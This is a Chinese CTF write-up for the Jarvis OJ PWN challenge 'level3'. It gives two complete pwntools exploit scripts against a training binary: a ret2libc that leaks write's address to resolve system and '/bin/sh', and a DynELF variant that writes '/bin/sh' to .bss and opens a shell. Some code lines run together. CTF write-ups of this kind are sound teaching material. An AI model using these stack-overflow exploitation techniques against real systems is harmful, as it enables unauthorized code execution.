[Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]——[XMAN]level3
- 题目地址:https://www.jarvisoj.com/challenges
- 题目:
先checksec一下,32位程序开启了NX保护。
在IDA看下。第一个函数中,有可以栈溢出利用的函数read。查找发现没有system函数和’/bin/sh’字符串。
思路
先leek出来一个地址, 比如write计算偏移, 找到system函数和’/bin/sh’字符串。寻找方法记住就好
expolit
from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]payload = 'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) # 泄露write的实际地址,并且返回mian函数进行重复调用
p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4)) ##找到write的实际地址log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr) #选择合适的libc版本,可以都试试如果有两个的话libc_base=write_addr-libc.dump('write') #找到Libc的基地址
system_addr=libc_base+libc.dump('system') #利用基地址和偏移计算函数地址
bin_sh_addr=libc_base+libc.dump('str_bin_sh')payload = 'a'*(0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)p.sendlineafter("Input:\n",payload)
p.interactive()
或许你们可能看的其他的DynELF解法,可以自行百度查看用法,不过有点老说实话。
from pwn import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
pop_pop_pop_ret=0x08048519
plt_write=elf.plt["write"]
#模板百度就可以找到,write和puts的模板不一样。32和64位模板也不一样
def leak(address): p.recvline()payload = "a" * (0x88 + 0x4) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)p.send(payload)data=p.recv(4)print hex(u32(data))print "%#x => %s" % (address,(data or '').encode('hex'))return datad=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')bss_addr=0x0804a027
plt_read=elf.plt["read"]
p.recvline()
#思路找到一块没有被利用内存,将'/bin/sh'写进去。作为参数传给system
payload = "a" * (0x88 + 0x4) + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
[Jarvis OJ - PWN]——[XMAN]level3相关推荐
- [Jarvis OJ - PWN]——[XMAN]level3_x64
[Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...
- [Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...
- [Jarvis OJ - PWN]——[XMAN]level2(x64)
[Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...
- [Jarvis OJ - PWN]——[XMAN]level0
[Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...
- [Jarvis OJ - PWN]——[XMAN]level1
[Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...
- [Jarvis OJ - PWN]——[XMAN]level2
[Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...
- [Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
- [Jarvis OJ - PWN]——Backdoor
[Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...
- [Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
最新文章
- 软件体系架构模式之二分层体系结构
- linux启动redis_Redis简介
- svn redis和rabbitmq服务启动
- go的timer定时器实现
- 与gps优缺点_长缨在手,敢缚苍龙,中国北斗三号圆满收官,相比美国GPS怎样?...
- WordPress电子商务博客源码
- api arx autocad_应用ARX实现基于AutoCAD平台的参数化绘图
- opencv4找不到opencv2/core/core.hpp: No such file or directory
- LPC1788内部EEPROM使用的问题
- HD AUDIO再2003安装的问题
- html 免备案,免备案香港主机对网站SEO有影响吗?
- 怎么用计算机程序求根公式,一元四次方程求根公式
- 【python爬虫】学习笔记1-爬取某网站妹子图片
- 机器学习之聚类算法:K均值聚类(一、算法原理)
- 日期之 显示法定格式的日期
- Python语法--File文件处理
- 域控服务器错误事件解决方法,求大神帮忙,域控总有事件报错,事件ID:1864 - winServer论坛 - 51CTO技术论坛_中国领先的IT技术社区...
- 值得加入的“小而美”公司,2020最佳Tech创业公司盘点
- 无线高颜值游戏蓝牙耳机,500以内学生党最爱五款真无线蓝牙耳机
- 论文阅读笔记《Fine-tuning Deep Neural Networks in Continuous Learning Scenarios》